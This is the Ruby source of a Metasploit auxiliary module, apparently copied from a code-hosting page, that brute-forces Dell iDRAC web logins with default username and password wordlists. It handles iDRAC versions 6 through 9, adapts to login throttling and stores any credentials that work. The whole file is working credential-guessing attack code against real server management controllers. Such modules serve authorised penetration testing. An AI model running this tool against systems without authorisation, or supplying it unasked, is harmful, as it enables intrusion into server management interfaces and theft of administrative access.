251 lines
7.3 KiB
Ruby
251 lines
7.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Dell iDRAC Default Login',
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'Description' => %q{
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This module attempts to login to a iDRAC webserver instance using
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default username and password. Tested against Dell Remote Access
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Controller 6 - Express version 1.50 and 1.85,
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Controller 7 - Enterprise 2.63.60.62
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Controller 8 - Enterprise 2.83.05
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Controller 9 - Enterprise 4.40.00.00
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},
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'Author' => [
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'Cristiano Maruti <cmaruti[at]gmail.com>', # < v8
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'h00die' # v8, v9
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],
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'References' => [
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['CVE', '1999-0502'] # Weak password
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration Login page', '/']),
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OptPath.new('USER_FILE', [
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false, 'File containing users, one per line',
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File.join(Msf::Config.data_directory, 'wordlists', 'idrac_default_user.txt')
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]),
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OptPath.new('PASS_FILE', [
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false, 'File containing passwords, one per line',
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File.join(Msf::Config.data_directory, 'wordlists', 'idrac_default_pass.txt')
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]),
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OptInt.new('RPORT', [true, 'Default remote port', 443])
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])
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register_advanced_options([
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OptBool.new('SSL', [true, 'Negotiate SSL connection', true])
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])
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end
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def pre_v9_url
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normalize_uri(target_uri.path, 'data', 'login')
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end
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def v9_url
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normalize_uri(target_uri.path, 'sysmgmt', '2015', 'bmc', 'session')
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end
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def target_url
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proto = 'http'
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if (rport == 443) || ssl
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proto = 'https'
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end
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uri = normalize_uri(datastore['URI'])
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"#{proto}://#{vhost}:#{rport}#{uri}"
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end
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def do_login_pre9(user = nil, pass = nil)
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if @blockingtime > 0
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sleep(@blockingtime)
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end
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uri = pre_v9_url
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auth = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'SSL' => true,
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'vars_post' => {
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'user' => user,
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'password' => pass
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}
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})
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unless auth
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print_error('iDRAC failed to respond to login attempt')
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return :next_user # assume this is a temporary error
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end
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body = auth.body.to_s
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if !body.match(%r{<authResult>[0|5]</authResult>}).nil?
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print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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user: user,
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password: pass,
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proof: auth.body.to_s
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)
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return :next_user
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else
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vprint_error("#{target_url} - Failed to login as '#{user}' with password '#{pass}'")
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# seen on idrac 8
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if body =~ %r{<blockingTime>(\d+)</blockingTime>}
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@blockingtime = Regexp.last_match(1).to_i
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vprint_error("\tServer throttled logins at #{@blockingtime} seconds")
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else
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@blockingtime = 0
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end
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end
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end
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def do_login_v9(user = nil, pass = nil)
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if @blockingtime > 0
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sleep(@blockingtime)
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end
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uri = v9_url
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auth = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'SSL' => true,
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'headers' => { 'user' => user, 'password' => pass },
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'vars_post' => {
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'user' => user,
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'password' => pass
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}
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})
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unless auth
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print_error('iDRAC failed to respond to login attempt')
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return :next_user # assume this is a temporary error
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end
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json = JSON.parse(auth.body)
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if json.nil?
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print_error('Invalid response, not JSON. Likely not an iDRAC.')
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return
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end
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if json['authResult'] == 1 or json['authResult'] == 8
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vprint_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
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if !json['blockingTime'].nil? && json['blockingTime'] > 0
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@blockingtime = json['blockingTime']
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vprint_error("\tServer throttled logins at #{@blockingtime} seconds")
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else
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@blockingtime = 0
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end
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else
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print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
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report_cred(
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ip: rhost,
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port: rport,
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service_name: (ssl ? 'https' : 'http'),
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user: user,
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password: pass,
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proof: auth.body.to_s
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)
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return :next_user
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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last_attempted_at: DateTime.now,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(ip)
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print_status("Verifying that login page exists at #{ip}")
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server_response = false
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@blockingtime = 0
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begin
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# <= v8
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res = send_request_raw({
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'method' => 'GET',
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'uri' => pre_v9_url
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})
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if res && res.code == 200
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server_response = true
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if !res.body.to_s.match(/<authResult>1/).nil? || # version <8
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!res.body.to_s.match(/<authResult>99/).nil? # version 8 of idrac shows 99 on first connect
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print_status('Attempting authentication against iDRAC version < 9')
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each_user_pass do |user, pass|
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do_login_pre9(user, pass)
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end
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elsif res.code == 301
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print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
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return :abort
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else
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print_error("The iDRAC login page not detected on #{ip}")
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return :abort
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end
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end
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# v9
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unless server_response
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res = send_request_raw({
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'method' => 'GET',
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'uri' => v9_url
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})
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if res && res.code == 401
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server_response = true
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json = JSON.parse(res.body)
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if json.nil?
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server_response = nil # so we can use the error message at the end
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elsif !json['authResult'].nil? # version 9
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print_status('Attempting authentication against iDRAC version 9')
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each_user_pass do |user, pass|
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do_login_v9(user, pass)
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end
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elsif res.code == 301
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print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
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return :abort
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else
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print_error("The iDRAC login page not detected on #{ip}")
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return :abort
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end
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end
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end
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unless server_response
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print_error("The iDRAC login page not detected on #{ip}")
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return :abort
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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rescue ::OpenSSL::SSL::SSLError => e
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return if (e.to_s.match(/^SSL_connect /)) # strange errors / exception if SSL connection aborted
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end
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end
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end
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